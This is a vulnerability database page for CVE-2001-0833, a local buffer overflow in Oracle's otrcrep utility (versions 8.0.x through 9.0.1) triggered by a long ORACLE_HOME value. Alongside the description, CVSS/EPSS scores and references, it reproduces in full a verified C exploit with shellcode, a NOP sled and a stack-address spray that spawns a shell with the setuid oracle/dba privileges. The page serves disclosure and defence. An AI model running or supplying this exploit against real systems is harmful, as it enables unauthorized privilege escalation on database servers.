CVE-2001-0833 : Detail

CVE-2001-0833

0.37%V3
Local
2002-03-09
04h00 +00:00
2002-03-07
23h00 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Buffer overflow in otrcrep in Oracle 8.0.x through 9.0.1 allows local users to execute arbitrary code via a long ORACLE_HOME environment variable, aka the "Oracle Trace Collection Security Vulnerability."

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 21045

Publication date : 2001-08-01 22h00 +00:00
Author : Juan Manuel Pascual Escribá
EDB Verified : Yes

// source: https://www.securityfocus.com/bid/3139/info Oracle is an Enterprise level SQL database, supporting numerous features and options. It is distributed and maintained by Oracle Corporation. A buffer overflow has been discovered in the handling of $ORACLE_HOME by otrcrep. otrcrep is installed with the Oracle suite as a SUID oracle SGID dba binary. This buffer overflow may be exploited by a local user to overwrite stack variables, including the return address, and execute arbitrary code with the privileges of user oracle and group dba. /* * This vulnerability was researched by: * Juan Manuel Pascual Escriba <[email protected]> * cc -o evolut otrcrep.c; ./evolut 300 0 */ #include <stdio.h> #include <stdlib.h> #define BUFFER 300 #define OFFSET 0 #define NOP 0x90 #define BINARY "/home/oracle/app/oracle/product/8.0.5/bin/otrcrep a $EGG" #define ORACLE_HOME "/home/oracle/app/oracle/product/8.0.5" char shellcode[] = "\xeb\x1d" "\x5e" "\x29\xc0" "\x88\x46\x07" "\x89\x46\x0c" "\x89\x76\x08" "\xb0\x0b" "\x87\xf3" "\x8d\x4b\x08" "\x8d\x53\x0c" "\xcd\x80" "\x29\xc0" "\x40" "\xcd\x80" "\xe8\xde\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } /* void main(int argc, char *argv[]) { */ void main() { char *buff, *ptr,binary[120]; long *addr_ptr, addr; int bsize=BUFFER; int i,offset=OFFSET; if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() -1420 -offset; ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; memset(buff,bsize/2,NOP); ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; setenv("ORACLE_HOME",ORACLE_HOME,1); setenv("EGG",buff,1); system(BINARY); }

Products Mentioned

Configuraton 0

Oracle>>Database_server >> Version To (including) 9.0.1

Oracle>>Database_server >> Version 8.0

Oracle>>Database_server >> Version 8.1

References

http://marc.info/?l=bugtraq&m=100386756715645&w=2
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.securityfocus.com/bid/3139
Tags : vdb-entry, x_refsource_BID
http://www.ciac.org/ciac/bulletins/m-011.shtml
Tags : third-party-advisory, government-resource, x_refsource_CIAC
http://online.securityfocus.com/archive/1/201295
Tags : mailing-list, x_refsource_BUGTRAQ
http://online.securityfocus.com/archive/1/222612
Tags : mailing-list, x_refsource_BUGTRAQ